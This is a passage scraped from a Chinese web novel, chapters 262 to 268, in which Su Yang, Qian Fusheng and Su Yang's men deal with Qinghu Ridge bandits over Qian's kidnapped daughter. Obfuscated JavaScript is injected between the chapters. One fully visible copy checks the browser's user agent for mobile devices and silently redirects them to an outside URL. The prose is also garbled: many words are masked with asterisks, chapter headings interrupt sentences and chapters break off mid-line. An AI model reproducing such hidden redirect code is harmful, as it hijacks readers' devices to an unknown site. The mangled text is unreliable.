;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“好!一千两银子就这么定了!”钱福生咬了咬牙,“只要你能把我女儿找回来,我……我把这药铺卖了都行!” 苏阳笑了:“这还差不多。不过,空口无凭,咱们得立个字据。” “立字据?”钱福生愣了愣,随即苦笑道,“小弟,你还信不过我?” “不是信不过你,是信不过我自己。”苏阳指了指自己的脑袋,“我这人忘性大,万一哪天忘了这事儿,你找谁说理去? 第二百六十二章 ” 钱福生一想也是,便点了点头:“好,立字据!” 两人当即写了字据,按了手印。 “钱掌柜,拿银子来吧,一手交钱,一手交货……呃,一手交人。” 钱福生看着苏阳伸到自己面前的手,哭笑不得。 他指着苏阳的手问道:“你不是应该给我银子吗?” 苏阳眨了眨眼:“不是,我是让你先给我银子,我才能给你找人啊!” “没钱,我怎么找人?” “你……”钱掌柜彻底无语了,“我说小弟,你这不是耍我吗?我女儿都没找到,我哪来的银子给你?” “停停停,你别激动,我说错话了,不给钱也行,你把这玩意认了就行!” 苏阳说着从怀里掏出个东西,拍在了桌子上。 那是一条翡翠项链,链子上的吊坠雕刻成了一朵兰花,在昏暗的灯光下,闪着温润的光泽。 钱福生盯着那条项链,眼睛都直了。 他缓缓伸出手,指尖轻轻触碰着那冰凉的翡翠,嘴唇哆嗦着,声音都变了调: “这……这是……晓柔的……项链……” 他的眼眶, 一下子湿润了。 不是泪水, 而是一种…… 近乎绝望的希望。苏阳前世记忆深处,有个小小的身影,像一株被风雨摧残的小草,牵动着他内心最柔软的地方。那是他三叔家的闺女,他的小堂妹。 小丫头比他小几岁,小时候粉雕玉琢,一笑起来,两个小酒窝甜得能齁**。迈着小短腿跟在他身后,奶声奶气地叫着“哥哥”,那双亮晶晶的眼睛里,满满的都是崇拜。 可惜,红颜薄命,小堂妹没摊上个好娘。 苏阳那三婶,把麻将看得比亲闺女还重。白天黑夜地泡在麻将馆里,赢了钱就眉开眼笑,输了钱就回家撒泼打滚。三叔在外头辛辛苦苦挣钱养家,她倒好,在家当起了甩手掌柜。 可怜的小堂妹,爹不疼娘不爱,整天像个小野猫似的,四处游荡。苏阳心疼她,走到哪儿都把她带在身边。 苏阳七岁那年,告别了光屁股满地跑的童年,背起小书包,雄赳赳气昂昂地去上学了。开学第一天,放学铃声一响,他兴冲冲地往家跑,可平时早早等在村口的小尾巴,却不见了踪影。 从那天起,他再也没能见到那个爱笑的小丫头。 后来他才知道,三婶那天手气特别好,在麻将桌上杀疯了,把小堂妹忘得一干二净。没人看管的小堂妹,在街上玩耍时,遇到了人贩子,被强行抱走了。 从那以后,苏阳心里就扎下了一根刺,一根对人贩子恨之入骨的刺。他恨不得把那些丧尽天良的畜生**万段,让他们永世不得超生。他暗暗发誓,长大以后一定要当警察,亲手把这些**送进地狱。 然而,命运弄人,高考体检时,他因为视力问题,与梦想中的警校失之交臂。 虽然没能穿上警服,但铲奸除恶的念头,却像一颗种子,在他的心里生根发芽,一直伴随着他来到了大元朝。 要不是青虎岭那帮土匪被他治得没了脾气,要不是钱福生帮他把孔远山几个从大牢里捞了出来,要不是看在钱晓柔和小翠环还算乖巧的份上,他才不会多管闲事,跟钱福生这老狐狸废话。 钱福生在江湖上摸爬滚打了大半辈子,那双眼睛,比猴儿都精。苏阳话里话外透着的那股子劲儿,他一听就明白,自家闺女八成还活着,只是不知道被拐到哪儿去了。 要是真出了什么意外,苏阳这小子绝不会是这副轻描淡写的模样,早就哭天抢地,装出一副悲痛欲绝的样子了。 “咣当!” 苏阳猛地一甩手,药铺的两扇木门重重地撞在一起,发出震耳欲聋的声响,仿佛要把整个屋子都震塌。 钱福生正端着茶碗,美滋滋地品着香茗,冷不丁被这一声巨响吓得一哆嗦,差点把手里的茶碗给扔出去。 “我说苏老弟,你这是搞什么名堂?大白天的关什么门?难不成……你还想**我这把老骨头不成?” 苏阳原本以为钱福生会迫不及待地追问女儿的下落,谁知这老家伙竟然先护起了自己的钱袋子,真是老奸巨猾。 再看钱福生那张老脸,哪里还有半分焦急的神色,分明是一副胜券在握的模样,就等着苏阳自己往坑里跳呢。 苏阳心里一阵冷笑,脸上却不动声色。想跟我玩心理战?老狐狸,你还嫩了点! 他慢悠悠地开口说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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看透表象难懂人心,谁知道这钱福生背地里是什么货色? 万一他前脚刚把女儿接回去,后脚就跑到顾明远那里告密,自己岂不是成了引狼**的罪人? 青龙村虽然不惧青虎岭的土匪,但明枪易躲,暗箭难防,万一被人从背后捅一刀,那可就得不偿失了。 第二百六十三章 好歹,他已经给钱福生透了底,他闺女还活着。这个消息,足以让钱福生支撑下去,不至于彻底崩溃。 可苏阳千算万算,却漏算了一件事。钱福生虽然不知道女儿的具体下落,但他知道苏阳的老家在哪儿啊! 不就在城西三十里开外的青龙村么? 钱福生心一横,打定了主意。人可以跑掉但事情躲不掉,我就不信,我亲自上门,你还能躲到天上去! 他也是个行动派,说干就干,立刻把药铺的大门一关,回家取了早就准备好的一千两赏银,跨上一匹老驴,马不停蹄地朝清阳县城外赶去。 他就不信这个邪了,苏阳再怎么神通广大,还能对白花花的银子不动心? 只要银子砸下去,还怕他不乖乖就范? 然而,钱福生前脚刚离开家门,后脚就有人像兔子一样蹿到肥掌柜家报信去了。 “掌柜的,掌柜的,那只肥羊自个儿跑出来了,咱们动手吧!” …… 日头偏西,暑气消散,微凉的风吹在身上,让人感到一丝丝的惬意。 钱福生却无心欣赏这傍晚的美景,他光着身子,站在路边,冻得瑟瑟发抖,像一只被拔光了**的公鸡。 他低头看了看自己光溜溜的身子,又羞又愤,恨不得找个地缝钻进去。 光天化日,朗朗乾坤,竟然有人敢拦路**! 抢钱也就罢了,居然还扒了他的衣服! 扯掉外衣也就罢了,竟然还敢嘲笑他……那里小? 钱福生气得七窍生烟,差点没当场厥过去。 这帮天杀的强盗,懂不懂什么叫“浓缩的都是精华”? 要不是他强忍着一口气,恐怕早就一头撞死在这荒郊野外了。 万幸的是,这帮强盗还算有点良心,只图财,没害命,也没对他动手动脚,只是把他身上的银子搜刮了个干净。 要是换做以前,有人胆敢觊觎他的钱财,他铁了心要和对方死磕到底。可现在,得知女儿还活着,他就有了活下去的希望,这条老命,说什么也不能丢。 钱福生后悔得肠子都青了,恨不得给自己两个大耳刮子。 早知如此,何必当初呢? 待在医馆那会儿,干脆点,把一千两银子交给苏阳,不就什么事都没有了吗? 现在可倒好,赔了夫人又折兵,人财两空,白忙活一场什么都没得到! 都说“老当益壮”,钱福生果然配得上清阳县神医之称,身体倍儿棒。硬是凭着一口气,赤条条地走回了县城。 他刚一进城门,立刻就成了全城的焦点,引来无数人围观。 “哎呦,这不是钱虎中吗?这是唱的哪一出啊?” “啧啧啧,这老小子,肯定是去哪儿鬼混,没给够钱,让人家给扒光了扔出来了!” “真是世风日下,人心不古啊!” …… 钱福生根本就没往西边去,他走错了方向。 苏阳离开药铺后,压根就没打算立刻回村,而是绕了个弯,去了县城东南角。 赖志成早就给他准备好了一处宅院,他得亲自去瞧瞧。 宅子不大,估摸着也就赖志成那点家底能折腾出这么个小院。 典型的四合院格局,三间正房坐北朝南,左右两边各建了两间偏房,厨房、茅房一应俱全。 虽然面积不大,但当作暂时的栖身之所,倒也足够了。 “都给我把这地方记清楚了。”苏阳指着眼前的宅院,对孔远山等人说道,“以后要是进城办事,错过了出城的时间,就在这里过夜,省得来回折腾。” 他之前可没提过这宅子的事,孔远山等人压根就不知道苏阳还有这么一手。 看着眼前这座崭新的砖瓦房,几个人都惊呆了,对苏阳的敬佩之情,如同黄河泛滥,一发不可收拾。 阳哥儿啥时候在城里置办了这么一处产业?这也太厉害了吧! 真不愧是仙界来的大佬,简直无所不能啊! 几个人交换了一个眼神,都露出了意味深长的笑容。 这宅子……该不会是阳哥儿用来金屋藏娇的吧?苏阳带着几个小子绕着小院走了一圈。 家里恐怕还有事,不能耽搁太久。 他心里盘算着,得抓紧时间启程,返回青龙村。 经过打铁铺子的时候,苏阳勒马停步。 “掌柜的,可有蹬张**?” 话音刚落,铁匠铺掌柜的就抬起了头。 一见是苏阳,他先是一怔,紧接着脸上就堆满了笑。 不过这笑容里,还夹杂着一丝不易察觉的苦涩。 这位苏小虎,出手是真阔绰,可就是太难伺候了。 **都点名要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他抿了抿嘴,仿佛在回味那甜蜜的味道。 “下回要是再没货,我可就得上西安府那边去买了啊!” “哎呦,我的苏小虎,您就放一百二十个心,”掌柜的拍着胸脯保证,就差指天发誓了,“明儿一早,小的就去进货! 第二百六十四章 如果下次依旧空手,您……您拿我是问!” 离开清阳县,苏阳一行人扬鞭催马,直奔青龙村。 行不多时,路边的一片小树林里,隐隐约约传来一阵奇怪的动静。 苏阳一抬手,队伍立刻停了下来。 他竖起耳朵,仔细辨听。 孔远山等人也瞬间进入戒备状态,一个个手按兵刃,蓄势待发。 这种荒郊野外,保不齐就会蹿出几个剪径的**贼。 对他们来说,这可是送上门来的外快。 一个个的,非但没有害怕,反倒隐隐有些期待。 来吧,来吧,小爷正愁没地方发财呢! 让那些拦路虎放马过来! 可等了半晌,想象中的**并没有出现。 树林里传出的声音,倒像是寒冬腊月里,冻得瑟瑟发抖的野狗发出的呜咽。 苏阳微微眯起眼睛,朝周阳使了个眼色。 周阳心领神会,带着一队人马,悄无声息地向树林摸去。 盾牌手顶在最前面,**手紧随其后,这是他们惯用的防御队形。 没过多久,树林里就传来了周阳的声音: “阳哥儿,您过来瞧瞧,这儿有只待宰的肥羊!” 声音里透着一股子幸灾乐祸的味道,没有丝毫紧张感。 苏阳一听,便知其中必有蹊跷。 他带着剩下的人,大步流星地走进了树林。 刚一进树林,苏阳就忍不住笑出声来。 眼前这棵歪歪扭扭的柳树上,挂着个光溜溜的人。 再定睛一看,这不是钱福生钱掌柜吗? 此时的他,赤条条的,活像一只褪了**的白条猪,被吊在树杈上,随风摇摆。 看到苏阳,钱福生眼中燃起了希望的光芒,嘴里呜呜直叫,仿佛在呼唤救星。 苏阳这才恍然大悟,怪不得像冻狗子的叫声,原来是钱掌柜的嘴巴被堵住了。 他一挥手,几个小子手脚麻利地把钱福生从树上解救下来。 “呸!呸呸呸……” 重获自由的钱福生,弯腰干呕。 他一边吐着,一边从嘴里拽出一团臭烘烘的破布。 “哪个杀千刀的王八羔子,用臭袜子堵老子的嘴……” 他骂骂咧咧,好不容易才缓过一口气。 “小……小弟,可多亏了你,要不然……老哥这条命,今儿个就算交代在这儿了!” 苏阳让手下取来一匹棉布,这是刚出城时在南货铺子里买的。 “钱掌柜,您先凑合着用吧,咱们可没带换洗的衣裳。” 钱福生这会儿哪还顾得上那么多? 能有东西御寒就不错了。 他手忙脚乱地把棉布裹在身上,把自己裹得像个粽子,只露出一张冻得发紫的脸。 过了片刻,苏阳才从钱福生结结巴巴的叙述中,拼凑出了事情的来龙去脉。 钱福生头一次出城,就让人给劫了。 他不死心,为了打探女儿的消息,又咬牙凑了一笔银子,打算再去一趟青龙村。 谁承想,老天爷跟他开了个不大不小的玩笑。 还是那个地方,还是那伙人。 他竟然又被抢了一回! 这回,**大概是嫌他带的银子太少,不解气。 扒光了他的衣服不说,直接把人悬空挂着。 就在钱福生万念俱灰之际,树林外传来马车轱辘的动静。 求生的本能让他拼命挣扎,这才发出了动静,引来了苏阳,也救了他自己一命。 苏阳听完,真是又好气又好笑: “我说钱掌柜,您这是唱的哪一出啊?这大冷的天儿,您搁这儿玩行为艺术呢?” 钱福生老脸通红,恨不得找个地缝钻进去: “我……这……” 他吞吞吐吐,半天也说不出一句完整的话。 “唉,一言难尽,一言难尽呐!都怪老朽财迷心窍,让兄弟见笑咯!” 苏阳心说,这老头儿倒还有点儿自知之明。 不过,他总觉得钱福生这话里有话,像是在拐弯抹角地骂他,但他又找不出证据。 “钱掌柜,我可不是图你那点儿银子。只是救人这事儿,风险太大,稍有不慎,我这些兄弟可就得把命搭进去。您说,为了您的家事,让我这些兄弟去冒险,这事儿搁谁身上,谁能乐意?” 钱福生张了张嘴,想说点什么,却又不知从何说起。 他心里跟明镜似的,苏阳这话,明着是说要担风险,实际上还是在跟他讨价还价呢。 “这棉布您先用着,赶紧家去吧。啥时候银子备齐了,您再来青龙村找我。到时候,我保准把您闺女完完整整地给您带回来。您看中不中?” 苏阳一边说着,一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两世为人,什么阵仗没见过? 后世那些老赖,无耻起来那才叫一个花样百出。 第二百六十五章 相比之下,钱福生这点小伎俩,简直不够看。 想用这招道德**我? 苏阳心中冷笑:你怕是在想屁吃! “周阳,既然钱掌柜这么想不开,非要寻死,那咱们就‘帮’他一把,送佛送到西,再把他给挂树上去!” 苏阳这话一出口,语气森冷。 周阳可不管那么多,老麻的话就是圣旨。 当即,他应了一声,一把拽起钱福生,作势就要往那歪脖子树上拖。 钱福生这下是真慌了。 他是万万没想到,这年轻人竟然软硬不吃! 自己堂堂一个名医,给他跪下都白搭? 心头那股火气“蹭”地一下就冒了上来: “你个小兔崽子,也忒不是东西了!老夫不就欠了你点银子吗?至于这么赶尽杀绝吗?” “阳哥儿……那个……” 就在这时,平时闷不吭声的生子,突然怯生生地开了口。 “钱掌柜的闺女,咱肯定是没法子帮他弄出来了……咳,那个,救出来……不过,咱能不能帮他个忙,打听打听那些个不开眼的**的底细?您说中不中?” 孔远山能从大牢里出来,多亏了钱福生。 这份人情,不能不还。 但生子也知道,苏阳不点头,谁也别想乱来。 钱福生听了这话,眉头一皱,心里头“咯噔”一声: 这话听着咋这么别扭呢? 这里头,似乎有猫腻啊? 苏阳斜睨了生子一眼,眼神中看不出喜怒: “哦?那依你看,怎么个打听法?” 生子一听这话,瞬间明白怎么回事了。 看来还是阳哥儿心善,只是抹不开面子! “嘿嘿,阳哥儿您想啊,这钱掌柜每次出城都被人给劫了,肯定是有人走漏了风声。咱就不能来个顺藤摸瓜,从这上头查一查?” 生子越说越起劲,声音也大了几分: “咱就让钱掌柜再回城里溜达一圈,看看是哪个孙子在背后捣鬼!只要揪出这个内鬼,还怕摸不清那些**的底细?” 苏阳没接话,而是看向其他人: “你们觉得呢?” “我觉得中!” “我也觉得中!” “只要不让钱掌柜去冒险,这法子就中!” 众人七嘴八舌地附和。 “咣当!” 突然,孔远山飞起一脚, 把正起劲的生子踹了个四仰八叉! “你个混账玩意儿!啥时候轮到你在这儿指手画脚了?” 孔远山这一脚,可没留力气。 他是真被生子这不长脑子的蠢货给气着了。 倒不是怪他自作主张, 主要是气这小子一点记性都不长! “都给我听好了!谁来告诉我,我这一脚,为啥踹他?” 苏阳这话,是对着一众手下说的。 众人都被这突如其来的一幕给惊呆了。 他们可都看得出来,孔远山这回是动了真火,可不是闹着玩的! 平日里,孔远山跟大伙关系都不错, 很少见他发这么大的脾气。 这生子,怕是要倒大霉! 可眼下这情形, 苏阳又开始提问了…… 这不是要人命嘛! “都愣着干啥?说啊!” 苏阳提高了嗓门。 “那个……阳哥儿,我觉得,生子不该抢话,坏了规矩。” 周阳硬着头皮,第一个开口。 “还有呢?” 苏阳追问。 “生子出的主意,可能会让钱掌柜有危险。” 路旭东想了半天,憋出一句。 “没了?” 苏阳的眼神,扫过每一个人。 “阳哥儿,我……我觉得生子可能不是有意的……” “放屁!” 孔远山破口大骂: “你小子再敢替他求情,老子连你一块揍!” “都给我闭嘴!” 苏阳一声断喝, “你们一个个,都给我好好想想!生子的问题,不仅仅是坏了规矩,让钱掌柜涉险!” 他深吸一口气,缓缓说道: “你们只想着抓内鬼,摸清**的底细,可你们有没有想过,万一这内鬼就在钱掌柜身边呢?万一这内鬼就是钱掌柜的家人、朋友,甚至是……他自己呢?” 这话一出, 所有人都愣住了。 钱福生更是脸色大变: “小弟,你这话是啥意思?你怀疑我?” 苏阳冷冷一笑: “钱掌柜,我可没这么说。我只是想告诉大家,凡事多留个心眼,别被人卖了还帮人数钱!” 他转过头,看着一众手下: “记住了,不管做什么事,都要把最坏的情况考虑进去。只有这样,才能立于不败之地!” “阳哥儿教训的是!” 众人齐声应道。 “行了,都散了吧。” 苏阳摆了摆手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过,苏阳可不会被他三言两语就给激将了。 “钱掌柜,”苏阳慢条斯理地开口了,语气里带着一丝玩味,“您这条命不值钱,我们青龙村可还想太太平平过日子呢。 第二百六十六章 您还是请回吧,再不走,我可真要让人‘请’您走了!” 钱福生一听这话,差点没气得背过气去。 这小兔崽子,软硬不吃啊! 年纪不大,心眼倒是不少。 可眼下这情况,钱福生也是毫无办法。 他总不能真的豁出命去跟这帮小崽子们硬碰硬吧? 无奈之下,他只得悻悻地转身,打算先回城里,从长计议。 可他还没迈出两步,负责放哨的四獠子就急匆匆地跑了进来,压低声音说道: “阳哥儿,来人了!四个,都骑着马!” 苏阳一听,目光瞬间变得锐利起来,像两把出鞘的利剑。 他上下打量了钱福生一番,像是在评估一件货物的价值。 眼下的情况,必须得搞清楚。 来的这四个人,和**杨家的那伙人,究竟有没有关系? “钱掌柜,”苏阳开口了,语气里带着一丝试探,“您还记得那些人的长相吗?就是……抢了您的那些人。” 钱福生摇了摇头,一脸沮丧:“没看清,都蒙着脸呢。” “他们是不是骑着马来的?”苏阳追问道。 “骑了……嗯?”钱福生猛地一愣,像是突然反应过来什么,眼睛瞪得溜圆,“小弟,你的意思是……外面那四个骑马的,是他们?” 他顿了顿,又赶紧补充道:“不对啊,**明明有六个人,怎么会是四个呢?” 孔远山一听这话,立马跳出来抢着说道:“钱掌柜,您就别纠结几个了!管他是六个还是十个,现在来了四个,正好!” 他这是急着要表现自己。 之前犯了那么大的错,回去之后还不知道会怎么样呢! 现在有机会将功补过,他可不想错过。 至于脸面? 那玩意儿能当饭吃吗? 只要能重新获得苏阳的信任,让他干什么都行! 苏阳没有搭理孔远山的急切,也没有理会钱福生的疑惑。 他微微皱着眉头,脑子里飞快地转动着。 知己知彼,百战不殆。 无论如何,都得多做些准备。 “四獠子,”苏阳吩咐道,“你去盯着,看看情况。别轻举妄动。” 他并没有让四獠子把放哨的其他人叫回来,而是选择静观其变。 时间一分一秒地过去,气氛也变得越来越紧张。 马蹄声越来越近,每一下都像是敲在了众人的心头。 苏阳手下的小子们早就做好了准备。 他们悄无声息地从马车上的棉布下面抽出了**弓,动作熟练得令人心惊。 那一张张年轻的脸上,看不到丝毫的恐惧,只有跃跃欲试的兴奋。 钱福生站在一旁,看着眼前的一切,一颗心都提到了嗓子眼。 他隐隐觉得,这帮小子,恐怕不是什么善茬。 自家闺女,该不会真的落到他们手里了吧? 这个念头一冒出来,钱福生就感觉一阵头晕目眩,几乎要站立不住。 “哒哒哒……” 马蹄声终于在树林外停了下来。 苏阳手下的小子们,一个个眼睛里闪烁着兴奋的光芒。 来了! 苏阳看着他们的反应,心里还算满意。 想当初,刚遇到这种情况的时候,这帮小子一个个吓得脸色煞白,腿肚子都转筋,恨不得立马尿裤子。 现在可倒好,一个个都跟打了鸡血似的,看到**就跟看到亲人似的。 出来一趟,要是不杀几个**过过瘾,总感觉浑身不得劲! “**,四当家最近是咋了?不过是个卖草药的穷酸罢了?咱们已经薅了他一千两银子的羊毛,还不够?打算慢慢玩套路呢,钓个屁啊!我看他闺女早就不知道被谁给弄**!” “你小点声!四当家现在心情不好,你可别惹他!” “就是,四当家和二当家关系最好,二当家没了,他这会儿正憋着火呢,你可别往枪口上撞!” “哎,跟你们说个事,你们可别往外说啊,我听说,老大也驾到了!” “啥?老大也驾到了?来哪儿了?” “废话,必须是奔着清阳县来的!不过,他没跟咱们住一块儿……” 几个人的说话声越来越近,已经走进了小树林。 然后,声音突然停了。 坏了! 这片树林咋这么多闲杂人等? 刚才说的话,这下全让他们听了个正着? 四个家伙心里“咯噔”一下,暗叫不好。 还没等他们反应过来。 “嗖!嗖!嗖!嗖!” 一阵密集的箭矢破空声骤然响起。 四个人连发生了什么都没看清楚,就接二连三地惨叫着倒在了血泊之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可接下来苏阳的举动,才让他真正见识到了,什么叫“胃口大”!“银子你们分了吧,不用给我。 第二百六十七章 ” 苏阳摆了摆手,语气随意。 钱福生在一旁,看得直嘬牙花子。 这小子,谱儿可真大! 几十两银子,说不要就不要,眼睛都不带眨一下的? 这话说的,好像他钱福生多稀罕这点银子似的! 可接下来发生的事,却让钱福生觉得,自己那点见识,跟人家一比,简直不值一提。 苏阳都发话了,银子归他们,这帮小子居然还客气上了,非说只拿一半,另一半说什么也要还给苏阳! 这是闹得哪一出啊? 起初,钱福生还以为,这帮人在自己面前演戏呢,一个装好人,一个装老实。 可看着看着,他咂摸出不对劲儿来了。 这帮人,看着不像假的,是真不要! 钱福生心里“咯噔”一下。 这伙人,不简单! 令行禁止,上下一条心,这得是什么样的队伍? 亲闺女被他们抓走了,还能有好? 不成,我得想辙脱身! 钱福生暗暗咬牙,打定主意,非得活着回去报官,把这伙人全给端了! 他现在是彻底认定了,苏阳他们就是一伙山贼。 不然,哪有这么邪乎的乡下人? “我说,这位小弟……” 钱福生搓着手,脸上挤出一丝笑,往苏阳跟前凑: “既然……既然那几个**贼都**,要不……我就先走了?不耽误各位的好事……” 苏阳眼皮一撩,瞥了他一眼。 “钱掌柜,着什么急啊?方才还磨磨蹭蹭不肯走,这会儿倒急上了?” 没等苏阳把话说完,旁边几个小子“唰”的一下就围了上来。 一个个手里家伙亮着,眼睛瞪得像牛蛋,那架势,仿佛只要钱福生敢说个“不”字,立马就得把他剁成肉酱。 钱福生吓得一哆嗦,差点没尿裤子。 “好汉……好汉饶命!我……我发誓不会去告密,借我十个胆我也不敢……” 他带着哭腔,声音都变了调。 苏阳转过头,问手底下人: “你们瞅瞅,钱掌柜像是那种告状的小人吗?” “像!像极了!” 一个小子抢着答道。 “阳哥儿英明!俺就说这老小子不是好饼,留他作甚?早晚是个祸害!” 另一个小子附和。 “对对对,俺也这么觉得!阳哥儿,把他交给俺吧,俺有的是法子让他开口!” 第三个小子摩拳擦掌,跃跃欲试。 苏阳听得脑门子直抽抽。 这都什么跟什么啊? 这帮小子,现在咋这么大火气? 逮谁都想弄死,这可不行! 得好好敲打敲打,别真成了**不眨眼的混世魔王! “都给我住口!” 苏阳一声低喝,打断了手下人的话。 “钱掌柜是贵客,我留他下来,是让他看戏!懂吗?看戏!” “看戏?” 钱福生傻眼了。 不止是他,苏阳手底下那帮小子也傻眼了。 这大冬天的,前不着村后不着店,上哪儿看戏去? 苏阳也不多做解释,只让手下人把现场清理干净,然后自己往马车上一靠,闭目养神起来。 这群人你看看我我看看你,谁也不知道苏阳葫芦里卖的什么药。 想问不敢问,只好也学着苏阳的样子,各自找地方歇着。 钱福生这下可麻爪了。 走也不是,留也不是。 走了吧,万一苏阳改了主意,派人追上来把自己给做了,那可就冤**。 留下来吧,跟这帮**不眨眼的家伙待一块儿,他这心里七上八下的,实在没底啊! 时间,在钱福生的纠结中,一分一秒地过去,仿佛比蜗牛爬得还慢。 正当钱福生感觉自己快要崩溃的时候,苏阳突然睁开了眼睛。 几乎是同时,在树林外放风的周阳急匆匆跑了进来: “阳哥儿,来人了!骑着马!” “都精神着点!” 苏阳一骨碌身爬了起来。 他这一嗓子,把所有人都给喊精神了。 有买卖了! 钱福生也跟着打了个激灵,心说这帮人又要干啥? 看这一个个凶神恶煞的样子,不会又想**吧? 没过多久,树林外就响起了马蹄声。 几匹马在林子边上停了下来。 紧接着,几个声音传了进来: “老李那帮废物,平日里不是挺能耐的吗?怎么今儿个这么长时间都没动静?害得咱们哥几个白跑一趟!” “谁说不是呢!四当家的就是胆子小,几个乡巴佬,能出什么事?说不定,老李他们早就把人给收拾了,这会儿正搂着小娘们快活呢!” “行了,都闭嘴!小心无大错,这地界儿最近可不怎么太平。” “怕个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16424457|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 球!不太平也是咱们青虎岭的人闹出来的,咱们还能怕了自己人?” “……” 几个人下了马,一边斗着嘴,朝着密林深处前进。 话音未落,就全傻了。 只见小树林里,十几个小子站成一排,每人手里都端着一把**弓,正对着他们! 这几个家伙哪见过这阵势,当时就懵了。 还没等他们回过神来,“嗖嗖嗖”几声,**箭就射了过来! 不过,这次苏阳手底下的小子没往人身上招呼,而是专门瞄着他们的腿去的。 几声惨叫,几个土匪应声倒地。 苏阳的小子们一拥而上,把几个土匪按得死死的。 这回,根本不用苏阳吩咐,这帮小子就熟门熟路地开始“审”了起来。 钱福生在一旁看得是目瞪口呆。 这也太……太专业了! 比衙门里的捕快还麻利! 他竖起耳朵,断断续续地听着几个土匪的招供,越听越心惊,越听越糊涂。 原来,之前**自己的,竟然是青虎岭的土匪! 这帮人,居然是凤子楼肥掌柜的亲戚! 怪不得自己出城两次,都被人给盯上了! 更让钱福生感到意外的是,自己闺女钱晓柔,竟然是被青虎岭的人给绑了! 可现在,人却不见了! 据说是押回山寨的路上,给弄丢了。 “这事儿,一开始大伙都以为是凤子楼的肥掌柜使了绊子。后来,四当家的派人一查,发现不是那么回事,是有人半道上截胡!抢了咱们的买卖!” 一个土匪哭丧着脸交代。 “为了揪出这个王八蛋,四当家的就让人盯着钱福生,想从他身上找线索。所以,才留了他一条狗命,不然早把他宰了!” 另一个土匪补充道。 “这么说,钱掌柜的闺女,是被你们给弄丢了?” 一个小子上前问道。 “是……是弄丢了……可真不是我们的人干的,我们的人要是抓了她,还能让她跑了?” 土匪连连喊冤。 钱福生在一旁听得是又气又急。 亲生女儿,竟然落到了这帮畜生手里! 这下可如何是好? 听这几个土匪的意思,闺女现在是凶多吉少啊! 他又把目光转向苏阳,心里越发疑惑。 既然抢自己的那伙人是青虎岭的土匪,那苏阳他们又是什么人? 第二百六十八章 总不能真是青龙村的泥腿子吧? 钱福生一百个不信。 哪来这么牛的乡下人!“老钱啊,现在知道为啥不让你回去了吧?” 苏阳咧嘴一笑,露出一口白牙。 钱福生眼皮子突突直跳,心头一阵乱颤。 称呼变得可真快! 前一刻还“钱掌柜的”叫着,转眼就成了“老钱”? 这是杀鸡儆猴,立威立够了,开始不把自己当外人看了啊! 钱福生腹诽:这小子,真不是个东西! 可转念一想,要不是苏阳,自己这会儿还在鼓里蒙着呢。 哪天被青虎岭那帮杀才给剁了,怕是都不知道咋死的! 钱福生心里刚泛起一丝感激,又“腾”地一下窜起一股火气。 这苏阳,也太不是玩意儿了! 拿自己当猴耍呢! 他深吸一口气,努力让自己的声音听起来平静些: “苏老弟,老哥我……真是谢谢你了!” 他一边说,一边偷偷用眼角余光打量着苏阳: “要不是你,我这条老命,怕是就交代在这儿了!” 顿了顿,他又补充道: “我那闺女,也得好好感谢你!你真是我们父女俩的大恩人!” 这话听着…… 苏阳把玩着手里的茶碗盖,漫不经心地说: “老钱,你这话说得我可有点儿糊涂了。难不成……你以为我绑了你闺女?” “没,没那回事!” 钱福生的脑袋摇得像货郎鼓: “苏老弟是啥人?那是响当当的英雄好汉!咋会干那种见不得人的勾当!您说是不是?” 他这话看似在夸苏阳,实则绵里藏针,隐隐透着一股子威胁的意味。 苏阳哪能听不出来? 他放下茶碗盖,“啪”的一声轻响。 “老钱啊,你这话说的,可就有点儿意思了。” 苏阳似笑非笑地看着钱福生: “我这人,没啥文化,就会瞎琢磨。小时候,我哥给我出了个谜,我到现在也没想明白。” “啥……啥谜?” 钱福生心里“咯噔”一下,有种不祥的预感。 “我哥说,他手里攥着一只麻雀,问我还在不在人世。你说,我该咋答?” 